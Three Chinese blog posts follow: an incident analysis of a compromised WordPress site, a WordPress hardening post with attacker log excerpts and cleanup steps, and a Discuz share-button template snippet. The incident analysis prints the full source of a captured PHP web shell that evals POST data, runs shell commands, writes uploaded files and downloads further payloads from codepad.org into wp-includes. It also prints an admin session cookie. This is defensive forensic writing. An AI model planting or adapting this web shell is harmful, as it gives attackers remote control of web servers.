$s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);
if (isset(${$s20}['dak'])) {
eval(${$s20}['dak']);
}
//一句话木马 $_POST['dak']

根据木马文件访问查看黑客访问相关信息

    cat www.80aj.com.log | grep '10/Nov/2015' | grep php | grep 200 | awk '{print $1"\t"$4$5"\t"$9"\t"$6"\t"$7}' | grep php 
173.252.193.210 [10/Nov/2015:14:09:59+0800] 200 "GET    /wp-login.php?redirect_to=http%3A%2F%2Fwww.80aj.com%2Fwp-admin%2F&reauth=1
173.252.193.210 [10/Nov/2015:14:10:01+0800] 200 "GET    /wp-admin/plugin-install.php?tab=upload
173.252.193.210 [10/Nov/2015:14:10:04+0800] 200 "POST   /wp-admin/update.php?action=upload-plugin
173.252.193.210 [10/Nov/2015:14:10:05+0800] 200 "GET    /wp-content/uploads/2015/11/1447135650.php?test=1
173.252.193.210 [10/Nov/2015:14:10:05+0800] 200 "POST   /wp-content/uploads/2015/11/1447135650.php
173.252.193.210 [10/Nov/2015:14:10:06+0800] 200 "POST   /wp-includes/media-bak.php
173.252.193.210 [10/Nov/2015:14:10:07+0800] 200 "GET    /wp-includes/class-wp-upgrade.php

进入 wp-content/uploads/2015/11/ 发现文件xx.php,文件大概思路受访请求带上test会主动在wp-include目录下载3个文件,内容来自 codepad.org 在线代码调试网站

    if(isset($_GET['test']) && $_GET['test']){
echo 261000;
//    $PHP_SELF = basename(__FILE__);
//    rename($PHP_SELF,'new_'.$PHP_SELF);
}elseif(isset($_GET['info']) && $_GET['info']){
echo phpinfo();
}elseif(isset($_GET['eval']) && $_GET['eval']){
$qV = "stop_";
$s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);
if (isset(${$s20}['dak'])) {
eval(${$s20}['dak']);
}
}elseif(isset($_GET['go']) && $_GET['go']){
$n = substr_count(substr(dirname(__FILE__),intval(strpos(dirname(__FILE__),'wp-content'))), "/");
$path_pre = str_repeat('../',$n+1);
$in_path = $path_pre.'wp-includes/';
if(@file_put_contents($in_path.'media-bak.php',@file_get_contents('http://codepad.org/Uk6hqTZe/raw.php'))){
echo '|YS[dak]';
}else{
echo '|YF';
}
if(@file_put_contents($in_path.'class-wp-upgrade.php',@file_get_contents('http://codepad.org/v6xhqhy7/raw.php'))){
echo '|DS[wso]';
}else{
echo '|DF';
}
if(@file_put_contents($in_path.'class-wp-upload.php',@file_get_contents('http://codepad.org/ZSvhCPZE/raw.php'))){
echo '|XS';
}else{
echo '|XF';
}
}else{
$path = isset($_POST['path'])?$_POST['path']:dirname(__FILE__);
if($_POST['url']){
foreach($_POST['url'] as $url){
$filename = $url['name'];
//            $link = $url['link'];
$con = $url['con'];
if($a = @file_put_contents($path.$filename,base64_decode($con))){
echo '|'.$filename.' success';
}else{
if($a = @file_put_contents($filename,base64_decode($con))){
echo '|ThisPath-'.$filename.' success';
}else{
echo '|'.$filename.' fail';
}
//                echo '|'.$filename.' fail';
}
}
$PHP_SELF = basename(__FILE__);
rename($PHP_SELF,'new_up.php');
}else{
$c=$_GET['cmd'];
system($c);
$p=$_SERVER["DOCUMENT_ROOT"];
$yoco=dirname(__FILE__);
echo <<<HTML
<form enctype="multipart/form-data"  method="POST">
Path:$p<br>
<input name="file" type="file"><br>
Ŀ��:<br>
<input size="48" value="$yoco/" name="pt" type="text"><br>
<input type="submit" value="Upload">
$tend
HTML;
if (isset($_POST["pt"])){
$uploadfile = $_POST["pt"].$_FILES["file"]["name"];
if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
echo"uploaded:$uploadfilen";
echo"Size:".$_FILES["file"]["size"]."n";
}else {
print "Error:n";
}
}
}
}

其次 class-wp-upgrade.php 这个文件会获取用户请求的各种cookie,伪装成error_log去获取更多的cookie

发现其中有一条内容为 :

    ["wordpress_logged_in_42b76570a501a4b13a26d8fda417c568"]=>
string(126) "weiwei|1447308597|3pnLyBYybwZbhNuW2eIegvzYJz79s2rkZx4zaIm7PTq|d667fceecc9ab854fffa28bcb8cde9ea3eca0e38c421becee0f7dba0cc8899bf"

这个是我多年前同事的账号给,并且是admin权限,xxx@126.com ,just soso 太搞了。 荆轲刺秦王

150722 强健WordPress体魄

张 清月阅读(1353)

WordPress(下面简称WP)建博客好多年,被黑的次数是数不过来了,每次的反查累的要命,因为黑客的入侵总让你摸不着头脑,如何避免或者快速清除木马是必须学会的。

好心人A

WP在这个互联网上存在着,总是那么摇摆不定,天天被各种好心人扫描,时不时的断档。真心纠结啊,这不今天凌晨又来了一波,这是在提醒我们时刻要更新啊

59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php
59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/custom-content-type-manager/upload_form.php
59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/front-file-manager/upload.php
59.56.168.167   [22/Jul/2015:00:31:37+0800] /wp-content/plugins/custom-content-type-manager/upload_form.php

好心人B

好心人不停的往你服务器POST,POST,POST,丝毫不遮掩,好像你是赤裸着躺在他面前,肆无忌惮啊

211.44.4.145    [21/Jul/2015:11:35:03+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:06+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:07+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:11+0800] "POST   /wp-admin/maint/util.php
211.44.4.145    [21/Jul/2015:11:35:55+0800] "GET    /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:11:35:58+0800] "GET    /shoesxz/up.php
211.44.4.145    [21/Jul/2015:11:36:02+0800] "GET    /shoesonlx/upload.php
211.44.4.145    [21/Jul/2015:11:36:06+0800] "GET    /shoesxz/upload.php
211.44.4.145    [21/Jul/2015:13:54:42+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:46+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:49+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:49+0800] "POST   /shoesxz/up.php
211.44.4.145    [21/Jul/2015:13:54:51+0800] "POST   /shoesxz/up.php
211.44.4.145    [21/Jul/2015:13:54:51+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:52+0800] "POST   /shoesxz/up.php
211.44.4.145    [21/Jul/2015:13:54:53+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:55+0800] "POST   /shoesonlx/up.php
211.44.4.145    [21/Jul/2015:13:54:55+0800] "POST   /shoesxz/up.php

定位特洛伊

长期保留服务器访问日志,至少一个月,这样可以快速的定位,还原黑客入侵的过程

处理思路:

  1. 查看日志排查访问过木马的IP,并且提取
  2. 根据提取的IP顺藤摸瓜拿到所有的被访问过的文件
  3. 打开所有被好心人访问过的文件,查看相关代码是否有hackshell之类相关内容,如果有则纪录木马关键字
  4. 根据特征字全目录扫描,然后进行删除
  5. 将WP升级至最新版,或者直接下载最新版本整个目录替换

我们得自己健壮

长期的缺管,主要是没什么好写的,小学语文水平,尤其是购买Evernote高级会员以后,看到的好文章都直接通过摘录放到笔记里去了,所以导致了博客几乎名存实亡的感觉,虽然亡了但也要活着啊,特别是技术人员指望着这个博客找工作的说

人比较懒具体健壮操作方式,直接在这里罗列相关文章,自己看着办吧

  1. 自动更新
  2. 修改后台地址
  3. 加固你的WP
  4. 2013年WP漏洞扫描PHP版
  5. exploit-db
  6. Linux系统防CC攻击自动拉黑IP增强版Shell脚本
  7. Linux安全之PHP木马查杀与防范
  8. WP安全设置技巧
  9. 添加IP访问限制

150707 discuz百度分享图片添加

张 清月阅读(923)

继上次 jiathis分享图片问题后,这次需求方又要求改成百度分享,总之程序员么,就是各种解了。 上次地址: discuz jiathis分享图片修改 同样的文件:template/default/forum/viewthread_node.htm 添加如下代码即可解决:

  //找到 aimgcount[{$post[pid]}] = [<!--{echo dimplode($aimgs[$post[pid]]);}-->]; 上方添加 
<!--{if $threadattachmenturl != null}-->
window._bd_share_config = { "common": { 
"bdSnsKey": {}, 
"bdText": "", 
"bdMini": "2", 
"bdMiniList": false, 
"bdPic": "{echo $threadattachmenturl[0];}",
"bdStyle": "0", "bdSize": "16" },
"share": {} 
}; 
<!--{/if}-->